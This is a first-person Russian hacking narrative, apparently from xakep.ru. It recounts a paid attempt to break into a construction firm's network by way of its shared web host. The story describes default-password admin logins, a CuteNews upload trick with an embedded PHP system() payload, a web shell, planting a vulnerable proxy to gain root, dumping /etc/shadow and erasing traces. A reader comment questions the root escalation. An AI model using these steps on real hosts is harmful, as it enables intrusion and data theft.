Автор: Flexx
источник: wwwxakep.ru

Однажды ко мне в аську постучался давний знакомый с одной просьбой-консультацией. После недолго сбивчивого рассказа, я понял, что речь шла о разборках конкурентов и нужно было скоммуниздить документы из локальной сети одной крупной проектно-строительной организации, занимавшейся строительством различных промышленных объектов по всей стране - от свиноферм до мясомолочных заводов.

Речь шла о хищении ВСЕХ документов, до которых можно было дотянуться. "Почему бы вам не найти инсайдеров?" - спросил я, на что получил ответ, что этим тоже занимаются, но без особого успеха. Организация была большой, следовательно локалка тоже должна быть не маленькой, по моим прикидкам - на пару сотен компов. При этом в качестве исходных данных мне был дан только сайт искомой организации. И все. Никаких айпишников, никаких наводок, никаких дополнительных данных, что могло хоть как-то помочь при взломе. Только вебсайт. А лезть, напомню, нужно было в локальную сеть. Взамен было обещано только щедрое вознаграждение, что-то порядка 3-4 тыс. зеленых американских рублей плюс покрытие текущих расходов. Заказчику я ничего обещать не стал, на успех особо не надеялся, ибо гипероптимизмом не страдал.

Поразмыслив немного, я пришел к выводу, что искать внешний шлюз локальной сети не стоит, ибо это ничего не даст. наверняка сервисов бажных я там не нарою, только пару открытых (в лучшем случае) портов, которые будут надежно охраняться каким-нибудь недружелюбным файром.

И тут мне вспомнился случай со взломом локальной сети Mastercard, когда под угрозой оказались порядка 40 млн. кредитных карт. Мне тогда подумалось, что провернуть такой взлом можно было только изнутри, то бишь инсайдерскими проделками, либо кто-то из сотрудников подцепил и занес в сетку какую-нибудь хитрую зверушку. И у меня в голове постепенно начал созревать план, конечная цель которого была занести в локальную сеть некоего зверька, который будет шариться по диску и отправлять мне найденные доки. Но как? Инсайдеры отпадали. Значит мне нужно было взломать какой-то сайт, который бы однозначно посещался сотрудниками кампании, добиться выполнения команд на сервере, заразить его стартовую страничку, при посещении которой на комп жертвы бы скачивался и запускался трой. Плохо было то, что реализация замысла не давала возможности заражения всех компов локальной сети, потому что нельзя было гарантировать что каждый из сотрудников мог заходить на сайт, а писать саморазмножающийся трой, который бы мог кочевать от компа к компу, честно говоря, было на тот момент лень.

Итак, план был готов. Осталось найти сайт Долго думать не стал, мой выбор пал на сайт самой кампании.

Сначала мне нужно было добиться выполнения команд на серваке, желательно с правами, позволяющими мне заразить index.html на сайте.

Сайт хостился на Arbatek'e. Плохо. Суровые там админы. Зря свои пряники они не едят. Помнится линухи на тамошних серверах патчились через буквально один-два дня после обзоров уязвимостей, не давая возможности маневра. Естественно, скан сервера XSpider'ом на наличие бажных сервисов послал меня лесом. Не было там вообще ничего... Скан сайта на наличие веб уязвимостей сканером nikto тоже ничего интересного не дал, кроме стандартных настроек для любого хоста.

Единственное, что удалось нарыть - локальный инклуд - ссылка типа show_image.php?file=/images/blabla.jpg , но с нее, кроме подключения картинок, ничего поиметь не получилось. Вариант удаленного шелла типа show_image.php?file=http://www.site.com/shell.php естественно отпадал. Запомнив ее, я натравил на сайт Teleport Pro, дабы в домашних тапочных условиях изучить его структуру. Честно говоря, сайт был кошмарным. Во всех планах. Один из тех, про кого говорят - "сайт ради сайта". Одни html странички плюс пустые php файлы от какой-то CMS. Каждый был обследован, но ничего путного я там так и не нашел.

Двигаем на domainsdb.net. Ей-богу, создателям сайта нужно памятник ставить еще при жизни, сколько раз он выручал! Ответ domainsdb меня порадовал - на сервере хостилось свыше 170 сайтов. И памятуя о том, что наверняка какой-то из них может быть уязвимым, приступил к тщательному анализу каждого из них. Рабочими оказались порядка 100 из них, остальные были в дауне.

Что я искал? Удаленные и локальные инклуды, возможности для загрузки файлов, SQL инъекции, XSS на худой конец, ну в общем, все, что могло помочь в достижении цели... А промежуточная цель была, если помнишь, добиться выполнения команд на сервере. В общем, после недели работы, я надыбал 5 sql-инъекций, 3 XSS'ски, , несколько форумов IPB и phpBB, которые должны быть уязвимы, а также кучу админок cpanel, популярной CMS. XSS, после беглого осмотра, я отбросил сразу - к краже интересной информации типа кукисов админа, они бы не привели. Начал работать с форумами, но несмотря на то, что найденные версии IPB были уязвимыми, паблик версии сплоитов почему-то обламывались. Оставив выяснение причин на потом, стал рыться дальше.

Попытался раздолбать сервер через найденные SQL - узнал, что на нем крутится MySQL версии 4.0.21, в которой паблик уязвимостей тоже не было. Привилегия FILE для хостующихся естественно была также отключена, что не позволило мне просматривать файлы на диске. Еще там было парочка локальных инклудов картинок, но ничего путного без локального доступа к серваку, они не сулили. В общем, это был стандартный, хорошо укрепленный хостинг, взять который с разбегу после нескольких недель работы не получилось. Я оповестил об этом заказчика, сказав, что шансов практически нет, ибо копаться по серьезному на сервере уже не хотелось. В ответ я услышал только слезные мольбы продолжать вскапывание сервера, ибо я там оказался последней надеждой - с инсайдерам ничего не получилось.

Вздохнув, я начал все с начала. Не придумав ничего лучше, отобрал порядка 30 сайтов, в которых была реализована значительная динамика - т.е. те, которые использовали активные php, cgi pl сценарии, ибо чем сложнее динамическое оформление, тем больше вероятность обнаружить в нем ошибку.

И вот, разгребая как-то кучи бесполезного html кода на сайте wwwgu******.com (хостящегося там же на сервере), я вдруг увидел ссылку, ведущую куда-то внутрь - wwwgu******.com/<censored>/admin/, которая явно принадлежала какой-то редкой CMS, потому что вебскан сайта ничего не дал. Я загрузил страницу и видел крайне интересную картинку - это был вход в админку, где в поле "логин" стояла надпись root, а в поле "password" - три цифры - "123". Первой мыслей было, мол, оставили так для "чтоб было...", но тем не менее кликнув на "LOGIN", оказался в админке!!! Радости моей не было предела - месяц работы не прошел зря! Быстро осмотревшись, обнаружил две интересные возможности - загрузки картинок и редактирования записей в гостевой книге, но был жестоко обломан - картинки хоть и загружались, но их нельзя было переименовывать. Также стоял фильтр на тип загружаемых картинок, поэтому план "закачать_шелл_как_картинку" не прошел. Редактирование записей в гостевой книге тоже ничего не дало - вставки даже простого html кода показывались plain-текстом. Было жалко расставаться с таким подарком судьбы... Но... Удача в тот день была на моей стороне Осматривая внутреннюю структуру сайта, я увидел еще одну ссылку на админку CuteNews - wwwgu******.com/news_r/. К сожалению, поля "логин" и "пароль" были пустыми =), но я недолго думая, набрал "root" и пароль "123" ... и был жестоко обломан - меня попросили пройтись лесом. Я не сильно обиделся и вместо root вбил admin, и... вуаля! Я оказался в админке CuteNews.

Для тех кто не знает, скажу - админка CuteNews позволяет не только загружать картинки, но и менять их расширение! Если тебе это до сих пор ничего не говорит, смотри архив "][акера", где многоуважаемый Forb показывал неучам, как можно использовать эту возможность для выполнения локальных команд на удаленном сервере - в поле "комментарий" картинки пишем что-то типа "<? system("uname -a");>", закачиваем картинку, там же на сайте меняем расширение на .php, затем скачиваем ее себе на комп, в текстовом редакторе отрываем ее и видим результат выполненной команды.

После этих нехитрых манипуляций у меня в руках оказалась первая выполненная команда - "Linux ***.arbatek.ru 2.6.14.2 #2". Еще через пять минут у меня в руках был полноценный шелл r57shell, который я залил таким же способом. Все! Я был на сервере!

Впрочем, радоваться было рано. Еще раз скажу, арбатековцы - суровый народ и лазеек для сетевых хулиганов вроде меня не оставляют. Так и вышло - на серваке не было ничего, что позволило бы поднять права. В процессах - только все законное, неуязвимое и пропатченное, ядро пабликсплоитами не бралось, да я, собственно, на это и не надеялся.

Около недели у меня ушло на изучение сервера, я знал сервер не хуже своей родной Mandriva, но... надежды оставались только на то, что в паблике появится какой-нибудь супер эксплоит, который возьмет новое ядро... А покупать с рук неизвестный науке 0-day за несколько тысяч буказоидов без гарантий не очень хотелось... Время шло и ничего не менялось... Торопил заказчик, я отбрыкивался как мог, ибо за все это время я уже решил отказаться от задания...

И тут у меня мелькнула крамольная мысль - если на серваке нет уязвимостей, то почему бы их не создать самому??? Ведь можно же, в принципе, установить на сервер какую-нибудь прогу, которая была бы ЗАРАНЕЕ уязвимой, а затем с чистой совестью заэксплойтить ее? Идея меня вдохновила и после недолгих поисков мой выбор пал на широко известный в узких кругах прокси-сервер webdesproxy. Его единственная и до сих пор доступная версия 0.0.1 оказалась уязвимой к классическому переполнению буфера, что при удачной эксплуатации давало root'овские права. Закачав через шелл на сервер webdesproxy.tgz, я попытался собрать его, но почему-то у меня это не получилось. Тогда я собрав webdesproxy у себя на нормально настроенной машине, просто перенес бинарник и необходимые конфиги на сервак, и запустил его, предварительно чмоднув, после чего скомпилил эксплоит, взятый на milw0rm.com и натравил его на сервер. Так я стал рутом

Понимая, что подобная ненормальная активность на сервере быстро будет обнаружена админами и незаконный проксисервер обнаружен в процессах, я сдампил /etc/shadow, удалил webdesproxy, почистил за собой следы. Остальное было делом техники - расшифровав фтп пасс от необходимого мне сайта я хотел было заменить index.php на заранее подготовленную зараженную страничку, которая содержала в себе загрузчик моего троянчика, но... В тот момент что-то меня остановило. Совесть, наверное, замучила Я не стал добивать сайт до конца. В конце концов деньги можно заработать и законным путем. А заказчику сказал, что у меня ничего не вышло.

На все описанное у меня ушло месяца два, если не больше. Вот так.

Мораль: «не бывает, что нет ошибок - бывает, что плохо искали». Не забывай об этом. И еще – деньги лучше зарабатывать честно. Спать будешь спокойнее.

Вся информация предоставлена исключительно в ознакомительных целях. Помни, что повторяя данные действия ты рискуешь попасть под влияние Уголовного кодекса.


вот только не пойму: для получения рута нужно чтобы webdesproxy была рутом же и установлена. или я не знаю unix или автор обманывает.